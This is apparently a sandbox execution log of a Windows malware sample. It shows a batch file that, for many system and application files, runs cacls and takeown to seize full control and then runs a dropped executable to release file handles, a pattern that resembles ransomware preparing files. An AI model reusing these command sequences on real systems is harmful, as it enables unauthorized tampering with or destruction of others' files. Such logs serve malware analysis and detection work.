C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ZPVn0rpr.exe -accepteula "AssemblyList_4_client.xml" -nobanner3⤵PID:4416
-
C:\Users\Admin\AppData\Local\Temp\ZPVn0rpr.exeZPVn0rpr.exe -accepteula "AssemblyList_4_client.xml" -nobanner4⤵
- Executes dropped EXE
PID:4912
-
-
-
C:\Users\Admin\AppData\Local\Temp\ZPVn0rpr.exeZPVn0rpr.exe -accepteula -c Run -y -p extract -nobanner3⤵
- Executes dropped EXE
PID:4880
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\ugBOOzoB.bat" "C:\ProgramData\Microsoft\Device Stage\Device\{8702d817-5aad-4674-9ef3-4d3decd87120}\watermark.png""2⤵PID:3784
-
C:\Windows\SysWOW64\cacls.execacls "C:\ProgramData\Microsoft\Device Stage\Device\{8702d817-5aad-4674-9ef3-4d3decd87120}\watermark.png" /E /G Admin:F /C3⤵PID:5092
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\ProgramData\Microsoft\Device Stage\Device\{8702d817-5aad-4674-9ef3-4d3decd87120}\watermark.png"3⤵
- Suspicious use of AdjustPrivilegeToken
PID:5084
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ZPVn0rpr.exe -accepteula "watermark.png" -nobanner3⤵PID:492
-
C:\Users\Admin\AppData\Local\Temp\ZPVn0rpr.exeZPVn0rpr.exe -accepteula "watermark.png" -nobanner4⤵
- Executes dropped EXE
PID:4168
-
-
-
C:\Users\Admin\AppData\Local\Temp\ZPVn0rpr.exeZPVn0rpr.exe -accepteula -c Run -y -p extract -nobanner3⤵
- Executes dropped EXE
PID:4308
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\ugBOOzoB.bat" "C:\ProgramData\Microsoft\Diagnosis\parse.dat""2⤵PID:4348
-
C:\Windows\SysWOW64\cacls.execacls "C:\ProgramData\Microsoft\Diagnosis\parse.dat" /E /G Admin:F /C3⤵PID:4124
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\ProgramData\Microsoft\Diagnosis\parse.dat"3⤵
- Modifies file permissions
- Suspicious use of AdjustPrivilegeToken
PID:4612
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ZPVn0rpr.exe -accepteula "parse.dat" -nobanner3⤵PID:4192
-
C:\Users\Admin\AppData\Local\Temp\ZPVn0rpr.exeZPVn0rpr.exe -accepteula "parse.dat" -nobanner4⤵
- Executes dropped EXE
PID:4300
-
-
-
C:\Users\Admin\AppData\Local\Temp\ZPVn0rpr.exeZPVn0rpr.exe -accepteula -c Run -y -p extract -nobanner3⤵
- Executes dropped EXE
PID:4660
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\ugBOOzoB.bat" "C:\ProgramData\Microsoft\SmsRouter\MessageStore\edb.log""2⤵PID:2628
-
C:\Windows\SysWOW64\cacls.execacls "C:\ProgramData\Microsoft\SmsRouter\MessageStore\edb.log" /E /G Admin:F /C3⤵PID:2552
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\ProgramData\Microsoft\SmsRouter\MessageStore\edb.log"3⤵
- Suspicious use of AdjustPrivilegeToken
PID:4752
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ZPVn0rpr.exe -accepteula "edb.log" -nobanner3⤵PID:4248
-
C:\Users\Admin\AppData\Local\Temp\ZPVn0rpr.exeZPVn0rpr.exe -accepteula "edb.log" -nobanner4⤵
- Executes dropped EXE
PID:276
-
-
-
C:\Users\Admin\AppData\Local\Temp\ZPVn0rpr.exeZPVn0rpr.exe -accepteula -c Run -y -p extract -nobanner3⤵
- Executes dropped EXE
PID:4388
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\ugBOOzoB.bat" "C:\ProgramData\Microsoft\UEV\InboxTemplates\MicrosoftInternetExplorer2013Backup.xml""2⤵PID:4876
-
C:\Windows\SysWOW64\cacls.execacls "C:\ProgramData\Microsoft\UEV\InboxTemplates\MicrosoftInternetExplorer2013Backup.xml" /E /G Admin:F /C3⤵PID:4692
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\ProgramData\Microsoft\UEV\InboxTemplates\MicrosoftInternetExplorer2013Backup.xml"3⤵
- Suspicious use of AdjustPrivilegeToken
PID:260
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ZPVn0rpr.exe -accepteula "MicrosoftInternetExplorer2013Backup.xml" -nobanner3⤵PID:1200
-
C:\Users\Admin\AppData\Local\Temp\ZPVn0rpr.exeZPVn0rpr.exe -accepteula "MicrosoftInternetExplorer2013Backup.xml" -nobanner4⤵
- Executes dropped EXE
PID:5036
-
-
-
C:\Users\Admin\AppData\Local\Temp\ZPVn0rpr.exeZPVn0rpr.exe -accepteula -c Run -y -p extract -nobanner3⤵
- Executes dropped EXE
PID:4148
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\ugBOOzoB.bat" "C:\ProgramData\Microsoft\UEV\InboxTemplates\MicrosoftOffice2013Office365Win64.xml""2⤵PID:4164
-
C:\Windows\SysWOW64\cacls.execacls "C:\ProgramData\Microsoft\UEV\InboxTemplates\MicrosoftOffice2013Office365Win64.xml" /E /G Admin:F /C3⤵PID:3696
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\ProgramData\Microsoft\UEV\InboxTemplates\MicrosoftOffice2013Office365Win64.xml"3⤵
- Modifies file permissions
- Suspicious use of AdjustPrivilegeToken
PID:4252
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ZPVn0rpr.exe -accepteula "MicrosoftOffice2013Office365Win64.xml" -nobanner3⤵PID:4292
-
C:\Users\Admin\AppData\Local\Temp\ZPVn0rpr.exeZPVn0rpr.exe -accepteula "MicrosoftOffice2013Office365Win64.xml" -nobanner4⤵
- Executes dropped EXE
PID:4284
-
-
-
C:\Users\Admin\AppData\Local\Temp\ZPVn0rpr.exeZPVn0rpr.exe -accepteula -c Run -y -p extract -nobanner3⤵
- Executes dropped EXE
PID:4304
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\ugBOOzoB.bat" "C:\ProgramData\Microsoft\UEV\InboxTemplates\MicrosoftOutlook2016CAWin64.xml""2⤵PID:4240
-
C:\Windows\SysWOW64\cacls.execacls "C:\ProgramData\Microsoft\UEV\InboxTemplates\MicrosoftOutlook2016CAWin64.xml" /E /G Admin:F /C3⤵PID:4760
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\ProgramData\Microsoft\UEV\InboxTemplates\MicrosoftOutlook2016CAWin64.xml"3⤵
- Suspicious use of AdjustPrivilegeToken
PID:4720
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ZPVn0rpr.exe -accepteula "MicrosoftOutlook2016CAWin64.xml" -nobanner3⤵PID:4748
-
C:\Users\Admin\AppData\Local\Temp\ZPVn0rpr.exeZPVn0rpr.exe -accepteula "MicrosoftOutlook2016CAWin64.xml" -nobanner4⤵
- Executes dropped EXE
PID:4404
-
-
-
C:\Users\Admin\AppData\Local\Temp\ZPVn0rpr.exeZPVn0rpr.exe -accepteula -c Run -y -p extract -nobanner3⤵
- Executes dropped EXE
PID:4560
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\ugBOOzoB.bat" "C:\ProgramData\Microsoft\UEV\Templates\SettingsLocationTemplate2013.xsd""2⤵PID:4664
-
C:\Windows\SysWOW64\cacls.execacls "C:\ProgramData\Microsoft\UEV\Templates\SettingsLocationTemplate2013.xsd" /E /G Admin:F /C3⤵PID:5052
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\ProgramData\Microsoft\UEV\Templates\SettingsLocationTemplate2013.xsd"3⤵
- Suspicious use of AdjustPrivilegeToken
PID:640
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ZPVn0rpr.exe -accepteula "SettingsLocationTemplate2013.xsd" -nobanner3⤵PID:4328
-
C:\Users\Admin\AppData\Local\Temp\ZPVn0rpr.exeZPVn0rpr.exe -accepteula "SettingsLocationTemplate2013.xsd" -nobanner4⤵
- Executes dropped EXE
PID:4688
-
-
-
C:\Users\Admin\AppData\Local\Temp\ZPVn0rpr.exeZPVn0rpr.exe -accepteula -c Run -y -p extract -nobanner3⤵
- Executes dropped EXE
PID:4848
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\ugBOOzoB.bat" "C:\ProgramData\Microsoft\Diagnosis\ETLLogs\ShutdownLogger\AutoLogger-Diagtrack-Listener.etl""2⤵PID:3700
-
C:\Windows\SysWOW64\cacls.execacls "C:\ProgramData\Microsoft\Diagnosis\ETLLogs\ShutdownLogger\AutoLogger-Diagtrack-Listener.etl" /E /G Admin:F /C3⤵PID:4276
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\ProgramData\Microsoft\Diagnosis\ETLLogs\ShutdownLogger\AutoLogger-Diagtrack-Listener.etl"3⤵
- Suspicious use of AdjustPrivilegeToken
PID:4860
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ZPVn0rpr.exe -accepteula "AutoLogger-Diagtrack-Listener.etl" -nobanner3⤵PID:4208
-
C:\Users\Admin\AppData\Local\Temp\ZPVn0rpr.exeZPVn0rpr.exe -accepteula "AutoLogger-Diagtrack-Listener.etl" -nobanner4⤵
- Executes dropped EXE
PID:4104
-
-
-
C:\Users\Admin\AppData\Local\Temp\ZPVn0rpr.exeZPVn0rpr.exe -accepteula -c Run -y -p extract -nobanner3⤵
- Executes dropped EXE
PID:4716
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\ugBOOzoB.bat" "C:\ProgramData\Microsoft\Device Stage\Device\{113527a4-45d4-4b6f-b567-97838f1b04b0}\device.png""2⤵PID:4976
-
C:\Windows\SysWOW64\cacls.execacls "C:\ProgramData\Microsoft\Device Stage\Device\{113527a4-45d4-4b6f-b567-97838f1b04b0}\device.png" /E /G Admin:F /C3⤵PID:2700
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\ProgramData\Microsoft\Device Stage\Device\{113527a4-45d4-4b6f-b567-97838f1b04b0}\device.png"3⤵
- Suspicious use of AdjustPrivilegeToken
PID:4756
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ZPVn0rpr.exe -accepteula "device.png" -nobanner3⤵PID:4864
-
C:\Users\Admin\AppData\Local\Temp\ZPVn0rpr.exeZPVn0rpr.exe -accepteula "device.png" -nobanner4⤵
- Executes dropped EXE
PID:5104
-
-
-
C:\Users\Admin\AppData\Local\Temp\ZPVn0rpr.exeZPVn0rpr.exe -accepteula -c Run -y -p extract -nobanner3⤵
- Executes dropped EXE
PID:4340
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\ugBOOzoB.bat" "C:\ProgramData\Microsoft\Device Stage\Task\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\tasks.xml""2⤵PID:4936
-
C:\Windows\SysWOW64\cacls.execacls "C:\ProgramData\Microsoft\Device Stage\Task\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\tasks.xml" /E /G Admin:F /C3⤵PID:4576
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\ProgramData\Microsoft\Device Stage\Task\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\tasks.xml"3⤵
- Suspicious use of AdjustPrivilegeToken
PID:4272
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ZPVn0rpr.exe -accepteula "tasks.xml" -nobanner3⤵PID:5076
-
C:\Users\Admin\AppData\Local\Temp\ZPVn0rpr.exeZPVn0rpr.exe -accepteula "tasks.xml" -nobanner4⤵
- Executes dropped EXE
PID:5100
-
-
-
C:\Users\Admin\AppData\Local\Temp\ZPVn0rpr.exeZPVn0rpr.exe -accepteula -c Run -y -p extract -nobanner3⤵
- Executes dropped EXE
PID:412
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\ugBOOzoB.bat" "C:\ProgramData\Microsoft\Diagnosis\DownloadedSettings\utc.cert.json""2⤵PID:252
-
C:\Windows\SysWOW64\cacls.execacls "C:\ProgramData\Microsoft\Diagnosis\DownloadedSettings\utc.cert.json" /E /G Admin:F /C3⤵PID:4400
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\ProgramData\Microsoft\Diagnosis\DownloadedSettings\utc.cert.json"3⤵
- Modifies file permissions
- Suspicious use of AdjustPrivilegeToken
PID:4472
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ZPVn0rpr.exe -accepteula "utc.cert.json" -nobanner3⤵PID:5068
-
C:\Users\Admin\AppData\Local\Temp\ZPVn0rpr.exeZPVn0rpr.exe -accepteula "utc.cert.json" -nobanner4⤵
- Executes dropped EXE
PID:4228
-
-
-
C:\Users\Admin\AppData\Local\Temp\ZPVn0rpr.exeZPVn0rpr.exe -accepteula -c Run -y -p extract -nobanner3⤵
- Executes dropped EXE
PID:4908
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\ugBOOzoB.bat" "C:\ProgramData\Microsoft\SmsRouter\MessageStore\SmsInterceptStore.jfm""2⤵PID:4372
-
C:\Windows\SysWOW64\cacls.execacls "C:\ProgramData\Microsoft\SmsRouter\MessageStore\SmsInterceptStore.jfm" /E /G Admin:F /C3⤵PID:4984
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\ProgramData\Microsoft\SmsRouter\MessageStore\SmsInterceptStore.jfm"3⤵
- Modifies file permissions
- Suspicious use of AdjustPrivilegeToken
PID:4588
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ZPVn0rpr.exe -accepteula "SmsInterceptStore.jfm" -nobanner3⤵PID:4296
-
C:\Users\Admin\AppData\Local\Temp\ZPVn0rpr.exeZPVn0rpr.exe -accepteula "SmsInterceptStore.jfm" -nobanner4⤵
- Executes dropped EXE
PID:5028
-
-
-
C:\Users\Admin\AppData\Local\Temp\ZPVn0rpr.exeZPVn0rpr.exe -accepteula -c Run -y -p extract -nobanner3⤵
- Executes dropped EXE
PID:3796
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\ugBOOzoB.bat" "C:\ProgramData\Microsoft\UEV\InboxTemplates\MicrosoftOffice2010Win32.xml""2⤵PID:4424
-
C:\Windows\SysWOW64\cacls.execacls "C:\ProgramData\Microsoft\UEV\InboxTemplates\MicrosoftOffice2010Win32.xml" /E /G Admin:F /C3⤵PID:4676
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\ProgramData\Microsoft\UEV\InboxTemplates\MicrosoftOffice2010Win32.xml"3⤵PID:4316
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ZPVn0rpr.exe -accepteula "MicrosoftOffice2010Win32.xml" -nobanner3⤵PID:3664
-
C:\Users\Admin\AppData\Local\Temp\ZPVn0rpr.exeZPVn0rpr.exe -accepteula "MicrosoftOffice2010Win32.xml" -nobanner4⤵
- Executes dropped EXE
PID:4244
-
-
-
C:\Users\Admin\AppData\Local\Temp\ZPVn0rpr.exeZPVn0rpr.exe -accepteula -c Run -y -p extract -nobanner3⤵
- Executes dropped EXE
PID:4384
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\ugBOOzoB.bat" "C:\ProgramData\Microsoft\UEV\InboxTemplates\MicrosoftOffice2016Win32.xml""2⤵PID:1004
-
C:\Windows\SysWOW64\cacls.execacls "C:\ProgramData\Microsoft\UEV\InboxTemplates\MicrosoftOffice2016Win32.xml" /E /G Admin:F /C3⤵PID:5112
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\ProgramData\Microsoft\UEV\InboxTemplates\MicrosoftOffice2016Win32.xml"3⤵
- Modifies file permissions
PID:4136
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ZPVn0rpr.exe -accepteula "MicrosoftOffice2016Win32.xml" -nobanner3⤵PID:4640
-
C:\Users\Admin\AppData\Local\Temp\ZPVn0rpr.exeZPVn0rpr.exe -accepteula "MicrosoftOffice2016Win32.xml" -nobanner4⤵
- Executes dropped EXE
PID:4624
-
-
-
C:\Users\Admin\AppData\Local\Temp\ZPVn0rpr.exeZPVn0rpr.exe -accepteula -c Run -y -p extract -nobanner3⤵
- Executes dropped EXE
PID:4592
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\ugBOOzoB.bat" "C:\ProgramData\Microsoft\UEV\InboxTemplates\RoamingCredentialSettings.xml""2⤵PID:5048
-
C:\Windows\SysWOW64\cacls.execacls "C:\ProgramData\Microsoft\UEV\InboxTemplates\RoamingCredentialSettings.xml" /E /G Admin:F /C3⤵PID:4572
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\ProgramData\Microsoft\UEV\InboxTemplates\RoamingCredentialSettings.xml"3⤵PID:3660
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ZPVn0rpr.exe -accepteula "RoamingCredentialSettings.xml" -nobanner3⤵PID:256
-
C:\Users\Admin\AppData\Local\Temp\ZPVn0rpr.exeZPVn0rpr.exe -accepteula "RoamingCredentialSettings.xml" -nobanner4⤵
- Executes dropped EXE
PID:4184
-
-
-
C:\Users\Admin\AppData\Local\Temp\ZPVn0rpr.exeZPVn0rpr.exe -accepteula -c Run -y -p extract -nobanner3⤵
- Executes dropped EXE
PID:4132
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\ugBOOzoB.bat" "C:\Program Files (x86)\Google\Update\1.3.35.452\GoogleUpdateSetup.exe""2⤵PID:4888
-
C:\Windows\SysWOW64\cacls.execacls "C:\Program Files (x86)\Google\Update\1.3.35.452\GoogleUpdateSetup.exe" /E /G Admin:F /C3⤵PID:4180
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Program Files (x86)\Google\Update\1.3.35.452\GoogleUpdateSetup.exe"3⤵PID:4628
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ZPVn0rpr.exe -accepteula "GoogleUpdateSetup.exe" -nobanner3⤵PID:4376
-
C:\Users\Admin\AppData\Local\Temp\ZPVn0rpr.exeZPVn0rpr.exe -accepteula "GoogleUpdateSetup.exe" -nobanner4⤵
- Executes dropped EXE
PID:5072
-
-
-
C:\Users\Admin\AppData\Local\Temp\ZPVn0rpr.exeZPVn0rpr.exe -accepteula -c Run -y -p extract -nobanner3⤵
- Executes dropped EXE
PID:4336
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\ugBOOzoB.bat" "C:\ProgramData\Microsoft\Device Stage\Device\{113527a4-45d4-4b6f-b567-97838f1b04b0}\overlay.png""2⤵PID:4236
-
C:\Windows\SysWOW64\cacls.execacls "C:\ProgramData\Microsoft\Device Stage\Device\{113527a4-45d4-4b6f-b567-97838f1b04b0}\overlay.png" /E /G Admin:F /C3⤵PID:4580
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\ProgramData\Microsoft\Device Stage\Device\{113527a4-45d4-4b6f-b567-97838f1b04b0}\overlay.png"3⤵PID:4632
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ZPVn0rpr.exe -accepteula "overlay.png" -nobanner3⤵PID:4548
-
C:\Users\Admin\AppData\Local\Temp\ZPVn0rpr.exeZPVn0rpr.exe -accepteula "overlay.png" -nobanner4⤵
- Executes dropped EXE
PID:4212
-
-
-
C:\Users\Admin\AppData\Local\Temp\ZPVn0rpr.exeZPVn0rpr.exe -accepteula -c Run -y -p extract -nobanner3⤵
- Executes dropped EXE
PID:4224
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\ugBOOzoB.bat" "C:\ProgramData\Microsoft\Diagnosis\DownloadedScenarios\WINDOWS.DIAGNOSTICS.xml""2⤵PID:5116
-
C:\Windows\SysWOW64\cacls.execacls "C:\ProgramData\Microsoft\Diagnosis\DownloadedScenarios\WINDOWS.DIAGNOSTICS.xml" /E /G Admin:F /C3⤵PID:4644
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\ProgramData\Microsoft\Diagnosis\DownloadedScenarios\WINDOWS.DIAGNOSTICS.xml"3⤵PID:2352
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ZPVn0rpr.exe -accepteula "WINDOWS.DIAGNOSTICS.xml" -nobanner3⤵PID:3684
-
C:\Users\Admin\AppData\Local\Temp\ZPVn0rpr.exeZPVn0rpr.exe -accepteula "WINDOWS.DIAGNOSTICS.xml" -nobanner4⤵
- Executes dropped EXE
PID:4872
-
-
-
C:\Users\Admin\AppData\Local\Temp\ZPVn0rpr.exeZPVn0rpr.exe -accepteula -c Run -y -p extract -nobanner3⤵
- Executes dropped EXE
PID:4196
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\ugBOOzoB.bat" "C:\ProgramData\Microsoft\Diagnosis\DownloadedSettings\utc.tracing.json""2⤵PID:420
-
C:\Windows\SysWOW64\cacls.execacls "C:\ProgramData\Microsoft\Diagnosis\DownloadedSettings\utc.tracing.json" /E /G Admin:F /C3⤵PID:4996
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\ProgramData\Microsoft\Diagnosis\DownloadedSettings\utc.tracing.json"3⤵PID:3576
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ZPVn0rpr.exe -accepteula "utc.tracing.json" -nobanner3⤵PID:5044
-
C:\Users\Admin\AppData\Local\Temp\ZPVn0rpr.exeZPVn0rpr.exe -accepteula "utc.tracing.json" -nobanner4⤵
- Executes dropped EXE
PID:4932
-
-
-
C:\Users\Admin\AppData\Local\Temp\ZPVn0rpr.exeZPVn0rpr.exe -accepteula -c Run -y -p extract -nobanner3⤵
- Executes dropped EXE
PID:272
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\ugBOOzoB.bat" "C:\ProgramData\Microsoft\Storage Health\StorageHealthModel.dat""2⤵PID:4852
-
C:\Windows\SysWOW64\cacls.execacls "C:\ProgramData\Microsoft\Storage Health\StorageHealthModel.dat" /E /G Admin:F /C3⤵PID:2168
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\ProgramData\Microsoft\Storage Health\StorageHealthModel.dat"3⤵PID:3136
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ZPVn0rpr.exe -accepteula "StorageHealthModel.dat" -nobanner3⤵PID:4728
-
C:\Users\Admin\AppData\Local\Temp\ZPVn0rpr.exeZPVn0rpr.exe -accepteula "StorageHealthModel.dat" -nobanner4⤵
- Executes dropped EXE
PID:4732
-
-
-
C:\Users\Admin\AppData\Local\Temp\ZPVn0rpr.exeZPVn0rpr.exe -accepteula -c Run -y -p extract -nobanner3⤵
- Executes dropped EXE
PID:4564
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\ugBOOzoB.bat" "C:\ProgramData\Microsoft\UEV\InboxTemplates\MicrosoftOffice2010Win64.xml""2⤵PID:4500
-
C:\Windows\SysWOW64\cacls.execacls "C:\ProgramData\Microsoft\UEV\InboxTemplates\MicrosoftOffice2010Win64.xml" /E /G Admin:F /C3⤵PID:280
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\ProgramData\Microsoft\UEV\InboxTemplates\MicrosoftOffice2010Win64.xml"3⤵PID:4268
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ZPVn0rpr.exe -accepteula "MicrosoftOffice2010Win64.xml" -nobanner3⤵PID:2708
-
C:\Users\Admin\AppData\Local\Temp\ZPVn0rpr.exeZPVn0rpr.exe -accepteula "MicrosoftOffice2010Win64.xml" -nobanner4⤵
- Executes dropped EXE
PID:2644
-
-
-
C:\Users\Admin\AppData\Local\Temp\ZPVn0rpr.exeZPVn0rpr.exe -accepteula -c Run -y -p extract -nobanner3⤵
- Executes dropped EXE
PID:4868
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\ugBOOzoB.bat" "C:\ProgramData\Microsoft\UEV\InboxTemplates\MicrosoftOffice2016Win64.xml""2⤵PID:4636
-
C:\Windows\SysWOW64\cacls.execacls "C:\ProgramData\Microsoft\UEV\InboxTemplates\MicrosoftOffice2016Win64.xml" /E /G Admin:F /C3⤵PID:4312
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\ProgramData\Microsoft\UEV\InboxTemplates\MicrosoftOffice2016Win64.xml"3⤵
- Modifies file permissions
PID:4392
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ZPVn0rpr.exe -accepteula "MicrosoftOffice2016Win64.xml" -nobanner3⤵PID:2988
-
C:\Users\Admin\AppData\Local\Temp\ZPVn0rpr.exeZPVn0rpr.exe -accepteula "MicrosoftOffice2016Win64.xml" -nobanner4⤵
- Executes dropped EXE
PID:5088
-
-
-
C:\Users\Admin\AppData\Local\Temp\ZPVn0rpr.exeZPVn0rpr.exe -accepteula -c Run -y -p extract -nobanner3⤵
- Executes dropped EXE
PID:4596
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\ugBOOzoB.bat" "C:\ProgramData\Microsoft\UEV\InboxTemplates\ThemeSettings2013.xml""2⤵PID:4680
-
C:\Windows\SysWOW64\cacls.execacls "C:\ProgramData\Microsoft\UEV\InboxTemplates\ThemeSettings2013.xml" /E /G Admin:F /C3⤵PID:5012
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\ProgramData\Microsoft\UEV\InboxTemplates\ThemeSettings2013.xml"3⤵PID:5132
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ZPVn0rpr.exe -accepteula "ThemeSettings2013.xml" -nobanner3⤵PID:5152
-
C:\Users\Admin\AppData\Local\Temp\ZPVn0rpr.exeZPVn0rpr.exe -accepteula "ThemeSettings2013.xml" -nobanner4⤵
- Executes dropped EXE
PID:5168
-
-
-
C:\Users\Admin\AppData\Local\Temp\ZPVn0rpr.exeZPVn0rpr.exe -accepteula -c Run -y -p extract -nobanner3⤵PID:5192
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\ugBOOzoB.bat" "C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm""2⤵PID:5216
-
C:\Windows\SysWOW64\cacls.execacls "C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm" /E /G Admin:F /C3⤵PID:5264
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm"3⤵PID:5284
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ZPVn0rpr.exe -accepteula "qmgr.jfm" -nobanner3⤵PID:5304
-
C:\Users\Admin\AppData\Local\Temp\ZPVn0rpr.exeZPVn0rpr.exe -accepteula "qmgr.jfm" -nobanner4⤵PID:5320
-
-
-
C:\Users\Admin\AppData\Local\Temp\ZPVn0rpr.exeZPVn0rpr.exe -accepteula -c Run -y -p extract -nobanner3⤵PID:5344
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\ugBOOzoB.bat" "C:\ProgramData\Microsoft\UEV\InboxTemplates\EaseOfAccessSettings2013.xml""2⤵PID:5368
-
C:\Windows\SysWOW64\cacls.execacls "C:\ProgramData\Microsoft\UEV\InboxTemplates\EaseOfAccessSettings2013.xml" /E /G Admin:F /C3⤵PID:5416
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\ProgramData\Microsoft\UEV\InboxTemplates\EaseOfAccessSettings2013.xml"3⤵PID:5436
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ZPVn0rpr.exe -accepteula "EaseOfAccessSettings2013.xml" -nobanner3⤵PID:5456
-
